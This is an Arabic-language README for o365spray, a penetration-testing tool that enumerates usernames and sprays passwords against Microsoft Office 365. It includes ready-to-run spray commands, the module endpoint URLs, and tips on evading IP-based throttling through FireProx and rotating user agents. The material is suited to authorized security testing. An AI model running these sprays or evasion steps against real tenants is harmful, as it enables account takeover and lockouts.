
أداة تعداد أسماء المستخدمين ورش كلمات المرور موجهة نحو Microsoft O365.
o365spray هي أداة لتعداد أسماء المستخدمين ورش كلمات المرور موجهة نحو Microsoft Office 365 (O365). تعيد هذه الأداة تنفيذ مجموعة من تقنيات التعداد والرش التي تم بحثها وتحديدها من قبل أولئك المذكورين في الإقرارات.
لأغراض تعليمية، مصرح بها و/أو بحثية فقط.
تحذير: تعمل وحدات تعداد المستخدمين Autologon و oAuth2 و RST عن طريق إرسال محاولة مصادقة واحدة لكل مستخدم. إذا تم تشغيل الوحدات بالتزامن مع رش كلمات المرور في تنفيذ واحد، فإن o365spray ستعيد تعيين مؤقت القفل تلقائيًا قبل تنفيذ رش كلمة المرور — إذا تم تشغيل التعداد بمفرده، يجب أن يكون المستخدم على دراية بعدد وموعد كل محاولة مصادقة وإعادة تعيين مؤقت القفل يدويًا قبل تنفيذ أي رش لكلمات المرور.
تحقق من أن النطاق يستخدم O365:
o365spray --validate --domain test.com
قم بإجراء تعداد لأسماء المستخدمين لنطاق معين:
o365spray --enum -U usernames.txt --domain test.com
قم بإجراء رش لكلمات المرور لنطاق معين:
o365spray --spray -U usernames.txt -P passwords.txt --count 2 --lockout 5 --domain test.com
usage: o365spray [flags]
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v3.0.4
options:
-h, --help show this help message and exit
Target:
-d DOMAIN, --domain DOMAIN
Target domain for validation, user enumeration, and/or
password spraying.
Actions:
--validate Run domain validation only.
--enum Run username enumeration.
--spray Run password spraying.
Credentials:
-u USERNAME, --username USERNAME
Username(s) delimited using commas.
-p PASSWORD, --password PASSWORD
Password(s) delimited using commas.
-U USERFILE, --userfile USERFILE
File containing list of usernames.
-P PASSFILE, --passfile PASSFILE
File containing list of passwords.
--paired PAIRED File containing list of credentials in username:password
format.
Password Spraying Configuration:
-c COUNT, --count COUNT
Number of password attempts to run per user before resetting
the lockout account timer.
Default: 1
-l LOCKOUT, --lockout LOCKOUT
Lockout policy's reset time (in minutes).
Default: 15 minutes
Module Configuration:
--validate-module VALIDATE_MODULE
Specify which valiadtion module to run.
Default: getuserrealm
--enum-module ENUM_MODULE
Specify which enumeration module to run.
Default: office
--spray-module SPRAY_MODULE
Specify which password spraying module to run.
Default: oauth2
--adfs-url ADFS_URL AuthURL of the target domain's ADFS login page for password
spraying.
Scan Configuration:
--sleep [-1, 0-120] Throttle HTTP requests every `N` seconds. This can be randomized
by passing the value `-1` (between 1 sec and 2 mins).
Default: 0
--jitter [0-100] Jitter extends --sleep period by percentage given (0-100).
Default: 0
--rate RATE Number of concurrent connections (attempts) during
enumeration and spraying.
Default: 10
--poolsize POOLSIZE Maximum size of the ThreadPoolExecutor.
Default: 10000
--safe SAFE Terminate password spraying run if `N` locked accounts
are observed.
Default: 10
HTTP Configuration:
--useragents USERAGENTS
File containing list of user agents for randomization.
--timeout TIMEOUT HTTP request timeout in seconds. Default: 25
--proxy PROXY HTTP/S proxy to pass traffic through
(e.g. http://127.0.0.1:8080).
--proxy-url PROXY_URL
FireProx API URL.
Output Configuration:
--output OUTPUT Output directory for results and test case files.
Default: current directory
Debug:
-v, --version Print the tool version.
--debug Enable debug output.
تعتمد وحدة onedrive على قيام المستخدم (المستخدمين) المستهدف بتسجيل الدخول سابقًا إلى OneDrive. إذا لم يستخدم مستخدم صالح OneDrive بعد، فسيظهر حسابه على أنه 'غير صالح'.
يمكن استخدام وحدة oAuth2 للرش الموحد، ولكن يجب ملاحظة أن هذا سيعمل فقط عندما يكون المستأجر الهدف قد مكّن مزامنة كلمة المرور - وإلا فإن المصادقة ستفشل دائمًا. الآلية الافتراضية هي الانتقال إلى وحدة 'adfs' عند تحديد الاتحاد.
جعلت Microsoft من الصعب إجراء رش كلمات المرور، لذا فإن استخدام أدوات مثل FireProx يساعد في تجاوز الحدود المستندة إلى عنوان IP.
لاستخدام FireProx مع o365spray، قم بإنشاء عنوان URL وكيل للوحدة المحددة من o365spray بناءً على جداول عناوين URL الأساسية أدناه. يمكن بعد ذلك تمرير عنوان URL الوكيل عبر --proxy-url.
ملاحظة: تأكد من استخدام العلم الصحيح
--enum-moduleأو--spray-moduleمع عنوان URL الأساسي المستخدم لإنشاء عنوان URL الخاص بـ FireProx.
قيمة 'المستأجر' في عنوان URL لـ OneDrive هي قيمة اسم النطاق المقدمة عبر العلم
--domain.
أصبح التوزيع العشوائي لوكيل المستخدم مدعومًا الآن ويمكن تحقيقه عن طريق توفير ملف وكيل المستخدم إلى العلم --useragents. تتضمن o365spray ملفًا نموذجيًا يحتوي على أكثر من 4800 وكيل عبر resc/user-agents.txt.
تم جمع الوكلاء في مجموعة البيانات النموذجية من المصادر التالية:
تم نقل إطار عمل o365spray إلى أداة جديدة: Omnispray. تهدف هذه الأداة إلى تحويل إطار التعداد والرش الأصلي إلى وحدات قابلة للتخصيص للاستهداف العام، وليس فقط O365. تتضمن Omnispray وحدات قوالب للتعداد والرش يمكن تعديلها واستخدامها لأي هدف.
إذا تمت مصادفة أي أخطاء/أعطال، يرجى فتح مشكلة مع التفاصيل (أو طلب سحب مع الإصلاح المقترح). راجع القسم أدناه للحصول على مزيد من المعلومات حول استخدام الإصدارات السابقة.
إذا تمت مصادفة مشكلات، جرب التحقق من الإصدارات السابقة قبل إعادة كتابة الكود:
# v1.3.7
git checkout e235abdcebad61dbd2cde80974aca21ddb188704
# v2.0.4
git checkout a585432f269a8f527d61f064822bb08880c887ef
| الوحدة | عنوان URL الأساسي |
|---|
| autodiscover | https://outlook.office365.com/ |
| autologon | https://autologon.microsoftazuread-sso.com/ |
| oauth2 | https://login.microsoftonline.com/ |
| office | https://login.microsoftonline.com/ |
| rst | https://login.microsoftonline.com/ |
| onedrive | https://<tenant>-my.sharepoint.com/ |
| الوحدة | عنوان URL الأساسي |
|---|
| activesync | https://outlook.office365.com/ |
| adfs | لم يتم تنفيذه حاليًا |
| autodiscover | https://autodiscover-s.outlook.com/ |
| autologon | https://autologon.microsoftazuread-sso.com/ |
| oauth2 | https://login.microsoftonline.com/ |
| reporting | https://reports.office365.com/ |
| rst | https://login.microsoftonline.com/ |
| المؤلف | الأداة/البحث | الرابط |
|---|
| gremwell | o365enum: تعداد المستخدمين عبر office.com بدون مصادقة | o365enum |
| grimhacker | office365userenum: بحث واكتشاف تعداد مستخدمي ActiveSync. | office365userenum / منشور مدونة |
| Raikia | UhOh365: تعداد المستخدمين عبر Autodiscover بدون مصادقة. | UhOh365 |
| dafthack | MSOLSpray: رش كلمات المرور عبر MSOL | MSOLSpray |
| byt3bl33d3r | MSOLSpray: إعادة تنفيذ بلغة Python | Gist |
| nyxgeek | onedrive_user_enum: تعداد مستخدمي OneDrive | onedrive_user_enum / منشور مدونة |
| Mr-Un1k0d3r | adfs-spray: رش كلمات مرور ADFS | adfs-spray |
| Nestori Syynimaa | AADInternals: وحدات oAuth2 و autologon | AADInternals |
| Daniel Chronlund / xFreed0m | Invoke-AzureAdPasswordSprayAttack / ADFSpray: رش كلمات المرور عبر واجهة برمجة تطبيقات Office 365 للتقارير | Invoke-AzureAdPasswordSprayAttack / ADFSpray |
| Optiv (عدة مؤلفين) | Go365: وحدة تعداد المستخدمين ورش كلمات المرور RST | Go365 |
| byt3bl33d3r | SprayingToolkit: مراجع كود | SprayingToolkit |
| sensepost | ruler: مراجع كود | Ruler |